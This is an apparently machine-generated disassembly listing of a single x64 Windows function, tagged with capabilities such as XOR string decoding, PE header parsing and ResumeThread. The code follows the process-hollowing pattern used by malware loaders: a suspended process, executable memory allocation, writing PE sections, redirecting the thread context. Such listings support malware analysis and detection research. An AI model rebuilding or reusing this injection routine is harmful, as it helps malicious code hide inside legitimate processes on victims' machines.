Function at 0x14010a120
Capabilities:
Encode data using xor
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xf0]
xorps xmm4, xmm4
movaps xmmword [rbp - 0x60], xmm4
xor eax, eax
mov qword [rbp - 0x50], rax
mov rbx, qword [0x140242a58]
mov rax, rbx
cmp word [rax], 0x5a4d
je 0x14010a15e
xor ecx, ecx
jmp 0x14010a16f
movsxd rcx, dword [rax + 0x3c]
cmp word [rbx + rcx + 0x18], 0x20b
sete cl
movzx ecx, cl
mov byte [0x140242a54], cl
xor esi, esi
xor edi, edi
movzx ecx, byte [0x140242a54]
test ecx, ecx
jne 0x14010a18f
movsxd rsi, dword [rax + 0x3c]
add rsi, rbx
mov ecx, dword [rsi]
jmp 0x14010a198
movsxd rdi, dword [rax + 0x3c]
add rdi, rbx
mov ecx, dword [rdi]
cmp ecx, 0x4550
jne 0x14010a767
call fcn.1401403f0
mov ecx, 0x60
mov edx, 0x40
cmp eax, 8
cmovne ecx, edx
call fcn.14010a890
mov rbx, rax
call fcn.1401403f0
mov ecx, 0x18
mov edx, 0x10
cmp eax, 8
cmovne ecx, edx
movsxd rcx, ecx
call fcn.1400c6df0
mov qword [rbp - 0x40], rax
mov rcx, qword [0x140241838]
mov r14, qword [rcx + 8]
lea rcx, [0x140190710]
mov edx, 0xc
call fcn.1400047c0
xor ecx, ecx
mov edx, ecx
lea r8, [0x140166848]
movzx r8d, word [r8 + rdx*2 + 0xc]
mov r10d, ecx
and r10d, 0xf
lea r9, [0x140166a98]
movzx r10d, word [r9 + r10*2 + 0xc]
xor r8d, r10d
mov word [rax + rdx*2 + 0x10], r8w
inc ecx
cmp ecx, 0xc
jl 0x14010a200
mov rcx, rax
call fcn.14007d310
mov r15, rax
lea rcx, [0x140190710]
mov edx, 0xe
call fcn.1400047c0
xor ecx, ecx
mov edx, ecx
lea r8, [0x14014e2b0]
movzx r8d, word [r8 + rdx*2 + 0xc]
mov r10d, ecx
and r10d, 0xf
lea r9, [0x140165458]
movzx r10d, word [r9 + r10*2 + 0xc]
xor r8d, r10d
mov word [rax + rdx*2 + 0x10], r8w
inc ecx
cmp ecx, 0xe
jl 0x14010a251
mov rcx, rax
call fcn.14007d310
mov r13, rax
mov rcx, r15
call fcn.140107d60
test rax, rax
je 0x14010a2a9
mov rcx, rax
mov rdx, r13
call fcn.140107e90
jmp 0x14010a2ab
xor eax, eax
test rax, rax
je 0x14010a705
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rbx
mov r10, qword [rbp - 0x40]
mov qword [rsp + 0x48], r10
mov qword [rsp + 0x50], rax
mov rcx, r14
lea rdx, [0x14014c690]
xor r8d, r8d
xor r9d, r9d
call fcn.140072330
test eax, eax
je 0x14010a705
test rbx, 0xffffffffffff0000
je 0x14010a333
mov rcx, rbx
mov qword [rbp - 0x90], rcx
lea rcx, [rbp - 0x88]
call fcn.140006360
mov rcx, qword [rbp - 0x90]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0x88]
call fcn.1400063b0
cmp byte [0x140242a54], 0
je 0x14010a342
mov rbx, qword [rdi + 0x30]
jmp 0x14010a345
mov ebx, dword [rsi + 0x34]
mov r10, qword [rbp - 0x40]
mov r14, qword [r10]
call fcn.1401403f0
mov ecx, 8
mov edx, 4
cmp eax, 8
cmovne ecx, edx
movsxd rcx, ecx
mov r10, qword [rbp - 0x40]
mov r15, qword [r10 + rcx]
mov rcx, r14
mov rdx, rbx
call fcn.14010a9e0
test r14, r14
je 0x14010a6de
test r15, r15
je 0x14010a6de
movzx ecx, byte [0x140242a54]
test ecx, ecx
je 0x14010a3a3
mov r8d, dword [rdi + 0x50]
mov r13d, dword [rdi + 0x54]
movzx r12d, word [rdi + 6]
jmp 0x14010a3b0
mov r8d, dword [rsi + 0x50]
mov r13d, dword [rsi + 0x54]
movzx r12d, word [rsi + 6]
test ecx, ecx
je 0x14010a3b9
mov eax, dword [rdi + 0x28]
jmp 0x14010a3bc
mov eax, dword [rsi + 0x28]
mov dword [rbp - 0x44], eax
mov dword [rsp + 0x20], 0x40
mov rcx, r14
mov rdx, rbx
mov r9d, 0x3000
call fcn.140108460
mov rbx, rax
mov r8, qword [0x140242a58]
xor ecx, ecx
mov dword [rbp - 0x50], ecx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r14
mov rdx, rbx
mov r9d, r13d
call fcn.14010aa50
test eax, eax
jne 0x14010a6b7
add rdi, 0x108
add rsi, 0xf8
cmp byte [0x140242a54], 0
cmove rdi, rsi
xor esi, esi
test r12d, r12d
jle 0x14010a464
mov edx, dword [rdi + 0xc]
add rdx, rbx
mov r8d, dword [rdi + 0x14]
add r8, qword [0x140242a58]
mov r9d, dword [rdi + 0x10]
xor ecx, ecx
mov dword [rbp - 0x50], ecx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r14
call fcn.14010aa50
test eax, eax
jne 0x14010a690
add rdi, 0x28
inc esi
cmp esi, r12d
jl 0x14010a426
mov ecx, 0x4d0
mov eax, 0x2cc
cmp byte [0x140242a54], 0
cmove ecx, eax
movsxd rcx, ecx
call fcn.1400c6df0
mov rsi, rax
cmp byte [0x140242a54], 0
jne 0x14010a494
mov dword [rsi], 0x10002
jmp 0x14010a49b
mov dword [rsi + 0x30], 0x10001b
cmp byte [0x140242a54], 0
je 0x14010a4b8
mov rcx, r15
mov rdx, rsi
call fcn.1401080f0
test eax, eax
jne 0x14010a4cb
jmp 0x14010a5cd
mov rcx, r15
mov rdx, rsi
call fcn.140108090
test eax, eax
je 0x14010a669
mov edi, dword [rsi + 0xa4]
mov r13, qword [rsi + 0x88]
mov rcx, rbx
call fcn.140083580
add r13, 0x10
add edi, 8
movsxd rcx, edi
cmp byte [0x140242a54], 0
mov rdx, rcx
cmovne rdx, r13
mov ecx, dword [rax + 8]
mov r9d, ecx
xor r8d, r8d
mov qword [rbp - 0x60], r8
mov dword [rbp - 0x50], r8d
mov qword [rbp - 0x60], rax
test ecx, ecx
je 0x14010a51a
add rax, 0x10
mov r8, rax
jmp 0x14010a51d
xor r8d, r8d
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r14
call fcn.14010aa50
test eax, eax
sete cl
movzx ecx, cl
xor edx, edx
mov qword [rbp - 0x60], rdx
test ecx, ecx
je 0x14010a642
cmp byte [0x140242a54], 0
jne 0x14010a55c
mov ecx, dword [rbp - 0x44]
add rcx, rbx
mov qword [rsi + 0xb0], rcx
jmp 0x14010a569
mov ecx, dword [rbp - 0x44]
add rcx, rbx
mov qword [rsi + 0x80], rcx
cmp byte [0x140242a54], 0
je 0x14010a583
mov rcx, r15
mov rdx, rsi
call fcn.140108030
test eax, eax
jne 0x14010a596
jmp 0x14010a5f4
mov rcx, r15
mov rdx, rsi
call fcn.140107fd0
test eax, eax
je 0x14010a61b
mov rcx, r15
mov qword [rbp - 0x90], rcx
lea rcx, [rbp - 0x88]
call fcn.140006360
mov rcx, qword [rbp - 0x90]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0x88]
call fcn.1400063b0
mov qword [rbp - 0x58], r14
jmp 0x14010a72f
lea rcx, [0x14016cf60]
call fcn.1400046a0
mov rbx, rax
mov rcx, rbx
lea rdx, [0x1401545d0]
call fcn.140081170
mov rcx, rbx
call fcn.140004c10
int3
lea rcx, [0x14016cf60]
call fcn.1400046a0
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140154858]
call fcn.140081170
mov rcx, rbx
call fcn.140004c10
int3
lea rcx, [0x14016cf60]
call fcn.1400046a0
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140154858]
call fcn.140081170
mov rcx, rbx
call fcn.140004c10
int3
lea rcx, [0x14016cf60]
call fcn.1400046a0
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140154910]
call fcn.140081170
mov rcx, rbx
call fcn.140004c10
int3
lea rcx, [0x14016cf60]
call fcn.1400046a0
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140154640]
call fcn.140081170
mov rcx, rbx
call fcn.140004c10
int3
lea rcx, [0x14016cf60]
call fcn.1400046a0
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140154998]
call fcn.140081170
mov rcx, rbx
call fcn.140004c10
int3
lea rcx, [0x14016cf60]
call fcn.1400046a0
mov rbx, rax
mov rcx, rbx
lea rdx, [0x1401548a8]
call fcn.140081170
mov rcx, rbx
call fcn.140004c10
int3
lea rcx, [0x14016cf60]
call fcn.1400046a0
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140154568]
call fcn.140081170
mov rcx, rbx
call fcn.140004c10
int3
lea rcx, [0x14016cf60]
call fcn.1400046a0
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140154520]
call fcn.140081170
mov rcx, rbx
call fcn.140004c10
int3
mov rcx, rsp
call fcn.14010a7dd
nop
mov rax, qword [rbp - 0x58]
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x14016cf60]
call fcn.1400046a0
mov rbx, rax
mov rcx, rbx
lea rdx, [0x140156470]
call fcn.140081170
mov rcx, rbx
call fcn.140004c10
int3